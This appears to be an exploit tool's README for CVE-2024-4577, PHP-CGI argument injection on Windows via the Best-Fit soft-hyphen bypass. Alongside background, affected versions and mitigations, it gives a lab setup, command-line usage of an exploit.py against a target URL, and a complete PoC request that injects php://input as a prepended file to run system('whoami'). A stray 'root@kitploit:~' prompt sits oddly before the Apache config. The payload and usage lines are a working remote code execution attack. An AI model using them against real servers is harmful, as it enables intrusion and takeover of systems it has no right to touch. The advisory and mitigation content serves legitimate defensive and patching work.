CVE-2024-4577 - PHP CGI Argument Injection on Windows ("WorstFit")

Overview

CVE-2024-4577 is a critical remote code execution vulnerability in PHP's CGI implementation on Windows. It bypasses the fix for the original CVE-2012-1823 by exploiting Windows "Best-Fit" code page conversion to smuggle command-line arguments through the CGI query string.

• CVSS Score: 9.8 (Critical)
• Discovered by: Orange Tsai (DEVCORE)
• Type: OS Command Injection / Argument Injection
• Patch date: June 6, 2024

Technical Details

When PHP runs as a CGI module (php-cgi.exe), it parses the query string as command-line arguments. The original fix for CVE-2012-1823 blocked the - (hyphen, 0x2D) character to prevent argument injection. However, on Windows systems using certain code pages (e.g., Chinese, Japanese, Korean), the "Best-Fit" character mapping feature converts specific Unicode characters to their closest ASCII equivalents.

The key bypass uses the soft-hyphen character (0xAD / U+00AD). When a request passes %AD in the query string and the server's locale uses a "Best-Fit" code page, Windows internally converts 0xAD to 0x2D (hyphen), allowing the attacker to inject PHP arguments despite the filter.

Example: %ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input becomes -d allow_url_include=1 -d auto_prepend_file=php://input.

Affected Versions

• PHP 8.1.* before 8.1.29
• PHP 8.2.* before 8.2.20
• PHP 8.3.* before 8.3.8

Configuration requirements:

• PHP running as CGI with php-cgi.exe
• Apache web server with mod_cgi or mod_cgid configured
• Windows locale using a "Best-Fit" code page (Chinese, Japanese, Korean, etc.)

Environment Setup (XAMPP)

1. Download a vulnerable PHP version (e.g., 8.1.28) for Windows.
2. Set up XAMPP or Apache with CGI mode:
   root@kitploit:~

   ScriptAlias /php-cgi/ "C:/php/"
   Action application/x-httpd-php-cgi /php-cgi/php-cgi.exe
   

3. Verify the target: http://localhost/php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input

Usage

python exploit.py -t http://target/php-cgi/php-cgi.exe -c "whoami"
python exploit.py -t http://target/php-cgi/php-cgi.exe --phpinfo

PoC

The crafted payload injects PHP configuration directives via the query string:

GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Host: target
Content-Type: application/x-www-form-urlencoded

<?php system("whoami"); ?>

Mitigation

• Upgrade PHP to 8.3.8+, 8.2.20+, or 8.1.29+
• Disable CGI mode and use PHP-FPM, mod_php, or FastCGI instead
• Apply IIS or Apache rewrite rules to block requests to php-cgi.exe
• Run PHP only on systems with non-Best-Fit code pages (e.g., English)

References

• https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-en/
• https://nvd.nist.gov/vuln/detail/CVE-2024-4577
• https://www.php.net/ChangeLog-8.php
• https://github.com/php/php-src/commit/2ae601d8d0d5b42891c6e15a28a14d1f44855f09